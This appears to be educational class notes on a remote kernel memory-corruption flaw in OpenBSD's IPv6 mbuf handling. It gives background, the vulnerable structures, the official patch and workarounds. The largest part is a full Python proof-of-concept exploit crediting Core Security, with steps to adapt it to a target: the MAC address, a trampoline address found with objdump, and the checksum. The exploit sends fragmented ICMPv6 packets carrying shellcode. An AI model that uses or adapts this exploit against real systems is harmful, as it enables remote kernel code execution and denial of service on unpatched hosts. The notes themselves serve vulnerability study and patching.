Core Security article detailing threat

==============================================
                     ====== CLASS ======
==============================================
Background
  1. OpenBSD
    1. 4.4 BSD based UNIX
    2. Open-source (BSD license)
    3. Ultra-secure reputation
      1. Web page boasts "Only two remote holes in the default install, in more than 10 years!"

What the problem is
  1. Code that handles IPv6 packets contains a memory corruption vulnerability
  2. Possible to:
    1. Remotely execute arbitrary code at the kernel level
    2. Remotely trigger a kernel panic, causing a DoS
  3. Affects OpenBSD 4.1, 4.0, 3.9, 3.8, 3.6, 3.1

How it works
  1. Gain control of execution flow by overwriting a function pointer
  2. Performing a mirrored 4 byte arbitrary memory overwrite similar to a user-space heap overflow

How it could have been prevented
  1. Proper handling of the kernel memory buffers using mbuf structures (especially ones used to accommodate processing of IPv6 packets)

Work arounds to use until it gets patched
  1. Users that do not need to process or route IPv6 traffic can block all inbound IPv6 packets at the firewall
  2. Use IPv4

How it will be prevented in the future
  1. Patch released to correct vulnerabilities in mbuf structure

================================================
============== VULNERABLE CODE =================
================================================

struct mbuf {
         struct  m_hdr m_hdr;
         union {
                 struct {
                         struct  pkthdr MH_pkthdr;       /* M_PKTHDR set */
                         union {
                                 struct  m_ext MH_ext;   /* M_EXT set */
                                 char    MH_databuf[MHLEN];
                         } MH_dat;
                 } MH;
                 char    M_databuf[MLEN];                /* !M_PKTHDR, !M_EXT */
         } M_dat;
};

/* description of external storage mapped into mbuf, valid if M_EXT set */
 struct m_ext {
         caddr_t ext_buf;                /* start of buffer */
                                         /* free routine if not the usual -- pointer to a function called when mbuf is freed */
         void    (*ext_free)(caddr_t, u_int, void *);
         void    *ext_arg;               /* argument for ext_free */
         u_int   ext_size;               /* size of buffer, for ext_free */
         int     ext_type;
         struct mbuf *ext_nextref;
         struct mbuf *ext_prevref;
#ifdef DEBUG
         const char *ext_ofile;
         const char *ext_nfile;
         int ext_oline;
        int ext_nline;
#endif
 };

===================================================
===============  OPENBSD PATCH ====================
===================================================

Apply by doing:
        cd /usr/src
        patch -p0 < 010_m_dup1.patch

And then rebuild your kernel.

Index: sys/kern/uipc_mbuf2.c
===================================================================
RCS file: /cvs/src/sys/kern/uipc_mbuf2.c,v
retrieving revision 1.24
retrieving revision 1.24.2.1
diff -u -p -r1.24 -r1.24.2.1
--- sys/kern/uipc_mbuf2.c    17 Mar 2006 04:15:51 -0000    1.24
+++ sys/kern/uipc_mbuf2.c    7 Mar 2007 19:21:48 -0000    1.24.2.1
@@ -1,4 +1,4 @@
-/*    $OpenBSD: uipc_mbuf2.c,v 1.24 2006/03/17 04:15:51 brad Exp $    */
+/*    $OpenBSD: uipc_mbuf2.c,v 1.24.2.1 2007/03/07 19:21:48 deraadt Exp $    */
 /*    $KAME: uipc_mbuf2.c,v 1.29 2001/02/14 13:42:10 itojun Exp $    */
 /*    $NetBSD: uipc_mbuf.c,v 1.40 1999/04/01 00:23:25 thorpej Exp $    */
 
@@ -226,16 +226,14 @@ m_dup1(struct mbuf *m, int off, int len,
 {
     struct mbuf *n;
     int l;
-    int copyhdr;
 
     if (len > MCLBYTES)
         return (NULL);
     if (off == 0 && (m->m_flags & M_PKTHDR) != 0) {
-        copyhdr = 1;
         MGETHDR(n, wait, m->m_type);
+        M_DUP_PKTHDR(n, m);
         l = MHLEN;
     } else {
-        copyhdr = 0;
         MGET(n, wait, m->m_type);
         l = MLEN;
     }
@@ -249,8 +247,6 @@ m_dup1(struct mbuf *m, int off, int len,
     if (!n)
         return (NULL);
 
-    if (copyhdr)
-        M_DUP_PKTHDR(n, m);
     m_copydata(m, off, len, mtod(n, caddr_t));
     n->m_len = len;

==================================================
==============ATTACK  CODE =======================
==================================================
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the code. To find a proper trampoline value use the following command:
"objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum

  --------------------icmp.py---------------------
#
# Description:
#   OpenBSD ICMPv6 fragment remote execution PoC
#
# Author:
#   Alfredo Ortega
#   Mario Vilas
#
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
# All rights reserved

from impacket import ImpactPacket
import struct
import socket
import time

class BSD_ICMPv6_Remote_BO:
    MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
    def Run(self):
        self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
        self.s.bind(('eth0',0x86dd))
        sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f'  # source address
        destIP   = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'  # destination address Multicast Link-level
        firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)
    validIcmp = self.buildValidICMPPacket(sourceIP,destIP)
   
    for i in range(100): # fill mbufs
            self.sendpacket(firstFragment)
        self.sendpacket(validIcmp)
        time.sleep(0.01)
    for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable
            self.sendpacket(secondFragment)
        time.sleep(0.1)
            self.sendpacket(firstFragment)
        self.sendpacket(validIcmp)
        time.sleep(0.1)

    def sendpacket(self, data):
        ipe = ImpactPacket.Ethernet()
        ipe.set_ether_dhost(self.MACADDRESS)
        ipd = ImpactPacket.Data(data)
        ipd.ethertype = 0x86dd  # Ethertype for IPv6
        ipe.contains(ipd)
        p = ipe.get_packet()
        self.s.send(p)

    def buildOpenBSDPackets(self,sourceIP,destIP):
        HopByHopLenght= 1

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (00: Hop by Hop)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x01)  # offset + More fragments: yes
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        IPv6HopByHopHeader  = ''
        IPv6HopByHopHeader += struct.pack('!B', 0x2c)                    # next header (0x3A: ICMP)
        IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght )         # Hdr Ext Len (frutaaaaaaa :D )
        IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2)         # Options

        longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
    print longitud
        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x00'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit

        IPv6Packet += sourceIP
        IPv6Packet += destIP

        firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)

    self.ShellCode =  ''
        self.ShellCode += '\xcc' # int 3
    self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xfb\x4e'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
        ICMPv6Packet +=  ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
    # Start of the next mfub (we land here):
    ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards
        ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB'
    # mbuf+0x20:
    trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")
        ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG'
        longitud = len(ICMPv6Packet)

    IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x2c'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        IPv6FragmentationHeader = ''
        IPv6FragmentationHeader += struct.pack('!B', 0x3a)  # next header (3A: icmpV6)
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # reserverd
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset
        IPv6FragmentationHeader += struct.pack('!B', 0x00)  # offset + More fragments:no
        IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

        secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet

        return firstFragment, secondFragment

    def buildValidICMPPacket(self,sourceIP,destIP):

        ICMPv6Packet  = ''
        ICMPv6Packet += '\x80'  # type (128 == Icmp echo request)
        ICMPv6Packet += '\x00'  # code
        ICMPv6Packet += '\xcb\xc4'  # checksum
        ICMPv6Packet += '\x33\xf6'  # ID
        ICMPv6Packet += '\x00\x00'  # sequence
    ICMPv6Packet += 'T'*1232

        longitud = len(ICMPv6Packet)

        IPv6Packet  = ''
        IPv6Packet += struct.pack( '>L', 6 << 28 )      # version, traffic class, flow label
        IPv6Packet += struct.pack( '>H', longitud )     # payload length
        IPv6Packet += '\x3A'                            # next header (2c: Fragmentation)
        IPv6Packet += '\x40'                            # hop limit
        IPv6Packet += sourceIP
        IPv6Packet += destIP

        icmpPacket = IPv6Packet+ICMPv6Packet

        return  icmpPacket

attack = BSD_ICMPv6_Remote_BO()
attack.Run()

--------------------icmp.py---------------------